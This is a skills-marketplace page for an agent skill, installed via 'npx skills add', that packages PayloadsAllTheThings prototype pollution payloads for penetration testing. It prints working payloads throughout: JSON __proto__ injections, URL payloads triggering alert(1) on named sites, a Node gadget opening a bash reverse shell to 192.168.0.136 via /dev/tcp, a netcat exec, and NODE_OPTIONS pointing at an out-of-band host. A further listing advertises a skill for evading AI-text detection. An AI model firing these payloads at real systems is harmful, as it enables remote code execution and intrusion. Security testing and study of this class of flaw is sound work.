smartworldarafath/rea_skill

payloads-proto-pollution

Prototype pollution is a type of vulnerability that occurs in JavaScript when properties of Object.prototype are modified.

Ver código fuente

Cómo usar

  1. Copia el comando y revisa el paquete antes de instalarlo en tu entorno de agente.
  2. Consulta las herramientas, credenciales y entornos necesarios en el documento original.
  3. Describe las entradas y el resultado deseado; contrasta la salida con las fuentes.
npx skills add https://github.com/smartworldarafath/rea_skill --skill payloads-proto-pollution

Antes de empezar

  • La instalación no incluye suscripción al modelo, cuota API ni permisos sobre tus archivos.
  • Las estrellas e instalaciones reflejan actividad, no una prueba independiente de calidad o seguridad.
Documento original del Skill

Contenido del repositorio de origen con títulos, ejemplos, código, tablas, enlaces e imágenes preservados.

Prototype Pollution Payloads

Source: PayloadsAllTheThings/Prototype Pollution Category: payloads-injection | Skill ID: payloads-proto-pollution

Overview

JavaScript prototype pollution payloads for server-side and client-side exploitation.

This skill integrates the full PayloadsAllTheThings (PATT) payload library for the Prototype Pollution Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.

Workflow

1. Recon & Identification

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below

2. Payload Selection

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

Full PATT Reference

Prototype Pollution

Prototype pollution is a type of vulnerability that occurs in JavaScript when properties of Object.prototype are modified. This is particularly risky because JavaScript objects are dynamic and we can add properties to them at any time. Also, almost all objects in JavaScript inherit from Object.prototype, making it a potential attack vector.

Summary

Tools

Methodology

In JavaScript, prototypes are what allow objects to inherit features from other objects. If an attacker is able to add or modify properties of Object.prototype, they can essentially affect all objects that inherit from that prototype, potentially leading to various kinds of security risks.

js
var myDog = new Dog();
js
// Points to the function "Dog"
myDog.constructor;
js
// Points to the class definition of "Dog"
myDog.constructor.prototype;
myDog.__proto__;
myDog["__proto__"];

Examples

  • Imagine that an application uses an object to maintain configuration settings, like this:
js
    let config = {
        isAdmin: false
    };
  • An attacker might be able to add an isAdmin property to Object.prototype, like this:
js
    Object.prototype.isAdmin = true;

Manual Testing

  • ExpressJS: { "__proto__":{"parameterLimit":1}} + 2 parameters in GET request, at least 1 must be reflected in the response.
  • ExpressJS: { "__proto__":{"ignoreQueryPrefix":true}} + ??foo=bar
  • ExpressJS: { "__proto__":{"allowDots":true}} + ?foo.bar=baz
  • Change the padding of a JSON response: { "__proto__":{"json spaces":" "}} + {"foo":"bar"}, the server should return {"foo": "bar"}
  • Modify CORS header responses: { "__proto__":{"exposedHeaders":["foo"]}}, the server should return the header Access-Control-Expose-Headers.
  • Change the status code: { "__proto__":{"status":510}}

Prototype Pollution via JSON Input

You can access the prototype of any object via the magic property __proto__. The JSON.parse() function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.

js
{
    "__proto__": {
        "evilProperty": "evilPayload"
    }
}

Asynchronous payload for NodeJS.

js
{
  "__proto__": {
    "argv0":"node",
    "shell":"node",
    "NODE_OPTIONS":"--inspect=payload\"\".oastify\"\".com"
  }
}

Polluting the prototype via the constructor property instead.

js
{
    "constructor": {
        "prototype": {
            "foo": "bar",
            "json spaces": 10
        }
    }
}

Prototype Pollution in URL

Example of Prototype Pollution payloads found in the wild.

ps1
https://victim.com/#a=b&__proto__[admin]=1
https://example.com/#__proto__[xxx]=alert(1)
http://server/servicedesk/customer/user/signup?__proto__.preventDefault.__proto__.handleObj.__proto__.delegateTarget=%3Cimg/src/onerror=alert(1)%3E
https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)
https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)

Prototype Pollution Exploitation

Depending if the prototype pollution is executed client (CSPP) or server side (SSPP), the impact will vary.

js
    .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
    .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
js
    {
        "__proto__": {
            "client": 1,
            "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc localhost 4444')"
        }
    }

Prototype Pollution Payloads

js
Object.__proto__["evilProperty"]="evilPayload"
Object.__proto__.evilProperty="evilPayload"
Object.constructor.prototype.evilProperty="evilPayload"
Object.constructor["prototype"]["evilProperty"]="evilPayload"
{"__proto__": {"evilProperty": "evilPayload"}}
{"__proto__.name":"test"}
x[__proto__][abaeead] = abaeead
x.__proto__.edcbcab = edcbcab
__proto__[eedffcb] = eedffcb
__proto__.baaebfc = baaebfc
?__proto__[test]=test

Prototype Pollution Gadgets

A "gadget" in the context of vulnerabilities typically refers to a piece of code or functionality that can be exploited or leveraged during an attack. When we talk about a "prototype pollution gadget," we're referring to a specific code path, function, or feature of an application that is susceptible to or can be exploited through a prototype pollution attack.

Either create your own gadget using part of the source with yeswehack/pp-finder, or try to use already discovered gadgets yuske/server-side-prototype-pollution / BlackFan/client-side-prototype-pollution.

Labs

References


REA MCP Integration

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
del mismo repositorio

Más Skills

Todos los Skills
smartworldarafath
Comunidad

agent-introspection-debugging

Structured self-debugging workflow for AI agent failures using capture, diagnosis, contained recovery, and introspection reports. Use when an agent run fails and you need a reproducible diagnosis instead of a retry.

Instalaciones / 1h
2
GitHub Stars
5
Actualizado
8 nov
smartworldarafath
Comunidad

agent-reach

Read-only access to internet platforms (Twitter/X, Reddit, YouTube subtitles, GitHub, LinkedIn, Bilibili, web). Use when the agent needs to search, read web links, retrieve social discussions, CVE/vulnerability intel, or when standard web search/fetch is blocked or insufficient.

Instalaciones / 1h
2
GitHub Stars
5
Actualizado
8 nov
smartworldarafath
Comunidad

agent-sort

Build an evidence-backed ECC install plan for a specific repo by sorting skills, commands, rules, hooks, and extras into DAILY vs LIBRARY buckets using parallel repo-aware review passes. Use when ECC should be trimmed to what a project actually needs instead of loading the full bundle.

Instalaciones / 1h
2
GitHub Stars
5
Actualizado
8 nov
smartworldarafath
Comunidad

anti-ai-slop-writing

Produces human-sounding text that avoids detectable AI writing patterns. Activates on any writing task — tweets, emails, articles, bios, captions, reports, copy, messages, LinkedIn posts, cover letters, README files, or any content where the output must not read as AI-generated. Enforces banned vocabulary, structural variety, punctuation discipline, accuracy rules, and voice calibration. Use when the user says "write," "draft," "rewrite," "make this sound human," "anti-slop," "not AI," or any va

Instalaciones / 1h
2
GitHub Stars
5
Actualizado
8 nov